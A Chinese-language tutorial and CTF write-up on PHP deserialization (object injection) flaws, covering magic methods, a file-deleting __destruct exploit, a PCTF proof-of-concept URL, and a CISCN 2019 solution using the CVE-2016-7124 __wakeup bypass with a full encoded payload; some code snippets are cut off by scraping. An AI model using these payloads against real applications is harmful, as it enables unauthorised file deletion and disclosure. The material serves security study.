原创作者:f1r3K0
php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到。
学习前最好提前掌握的知识
- PHP类与对象
- PHP魔术方法
- serialize()与unserialize()
- PHP实操学习
serialize() 当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。测试代码如下;
测试结果:
O:6:"people":2:{s:4:"name";
s:6:"f1r3K0";
s:3:"age";
s:2:"18";
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-akcM4sRr-1585289134410)(https://s2.ax1x.com/2019/04/26/EnWYYq.md.png)]
- 注意这里的括号外边的为大写英文字母
O
- 下面是字母代表的类型
a - array 数组
b - boolean布尔型
d - double双精度型
i - integer
o - common object一般对象
r - reference
s - string
C - custom object 自定义对象
O - class
N - null
R - pointer reference
U - unicode string unicode编码的字符串
我们可以直接把之前序列化的对象反序列化回来来测试函数,如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Zod3gfOS-1585289134412)(https://s2.ax1x.com/2019/04/26/Enfv26.md.png)]
提醒一下,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。(先埋个伏笔,这个点后面会提)
反序列化漏洞 由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个"精心”构造的序列化字符串,从而控制对象内部的变量甚至是函数。
利用构造函数等 Magic function
php中有一类特殊的方法叫“Magic function”,就是我们常说的"魔术方法" 这里我们着重关注一下几个:
__construct()
:构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。__destruct()
:析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。__wakeup()
:如前所提,unserialize()时会检查是否存在__wakeup()
,如果存在,则会优先调用__wakeup()
方法。__toString()
:用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。__sleep()
:用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。
结果如下:
文章图片
从运行结果来看,我们可以看出unserialize函数是优先调用"__wakeup()"再进行的反序列化字符串。同时,对于其他方法的调用顺序也一目了然了。(注意:这里我将sleep注释掉了,因为sleep会在序列化的时候调用,因此执行sleep方法就不会再执行序列以及之后的操作了。)
利用场景
__wakeup()和destruct() 由前可以看到,unserialize()后会导致__wakeup() 或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子,代码如下:
//logfile.php 删除临时日志文件
';
file_put_contents($this->filename, $text, FILE_APPEND);
}
//Destructor删除日志文件
public function __destruct() {
echo '__destruct delete' . $this->filename . 'file.
';
unlink(dirname(__FILE__) . '/' . $this->filename);
//删除当前目录下的filename这个文件
}
}
?>
//包含了’logfile.php’的主页面文件index.php
name . 'is' . $this->age . 'years old.
';
}
}
$usr = unserialize($_GET['user']);
?>
梳理下这2个php文件的功能,index.php是一个有php序列化漏洞的主业文件,logfile.php的功能就是在临时日志文件被记录了之后调用
__destruct
方法来删除临时日志的一个php文件。这个代码写的有点逻辑漏洞的感觉,利用这个漏洞的方式就是,通过构造能够删除source.txt的序列化字符串,然后get方式传入被反序列化函数,反序列化为对象,对象销毁后调用__destruct()来删除source.txt.
漏洞利用exp
filename = 'source.txt';
//source.txt为你想删除的文件
echo serialize($obj) . '
';
?>
这里我们通过[‘GET’]传入序列化字符串,调用反序列化函数来删除想要删除的文件。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ab6AU4Uf-1585289134416)(https://ooo.0o0.ooo/2017/07/02/5958ea576aa34.png)]
之前还看到过一个wakeup()非常有意思的例子,这里直接上链接了
chybeta浅谈PHP反序列化 https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/
其它magic function的利用 这里我就结合PCTF和今年国赛上的题来分析了
PCTF 题目链接
- 前面几步都是很常见的读文件源码
这里直接放出给的两个源码
//index.php
readfile();
?>
上边index.php提示了包含的shield.php所以说直接构造base64就完事了
//shield.php
file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]接收了用户反序列化的内容,输出了readfile()方法
shield.php 1.首先就能发现file是可控的(利用点) 2.construct()在index中实例化的时候就已经执行了,因此不会影响我们对可控$file的利用。
构造poc
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aKmcCF7i-1585289134419)(https://s2.ax1x.com/2019/04/26/EnhOeg.md.png)]
最终poc:
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file"; s:8:"pctf.php"; }
ciscn2019 web1- JustSoso 读源码的过程省略
//index.php';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
$v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag=&$this->token;
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
其实刚开始做的时候是很懵逼了,一直在纠结爆破md5上边。22233333
1.首先我们需要绕的就是
$url = parse_url($_SERVER['REQUEST_URI']);
使得
parse_str($url['query'],$query);
中query解析失败,这样就可以在payload里出现flag,这里应该n1ctf的web eating cms的绕过方式,添加///index.php
绕过。2.接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作,这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
3.绕md5这里用到了PHP中引用变量的知识https://blog.csdn.net/qq_33156633/article/details/79936487
简单来说就是,当两个变量指向同一地址时,例如:
$b=&$a
,这里的$b
指向的是$a
的区域,这样b就随着a变化而变化,同样的原理,我们在第二步序列化时加上这一步$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
这样最后的token就和token_flag保持一致了。
最后的POC
$v)
{
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle)
{
$this->handle = $handle;
}
public function __destruct()
{
$this->handle->getFlag();
}
}
class Flag
{
public $file;
public $token;
public $token_flag;
function __construct($file)
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag()
{
if(isset($this->file))
{
echo @highlight_file($this->file,true);
}
}
}
$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
echo(serialize($a));
?>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cUOo6Th0-1585289134422)(https://s2.ax1x.com/2019/04/26/En4uSx.md.png)]
这里还有一个点就是我们需要用%00来补全空缺的字符,又因为含有private 变量,需要 encode 一下。
最终payload:
?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
利用普通成员方法 前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。
参考文章:
https://www.cnblogs.com/Mrsm1th/p/6835592.html
http://p0desta.com/2018/04/01/php反序列化总结/
http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解与利用/
https://p0sec.net/index.php/archives/114/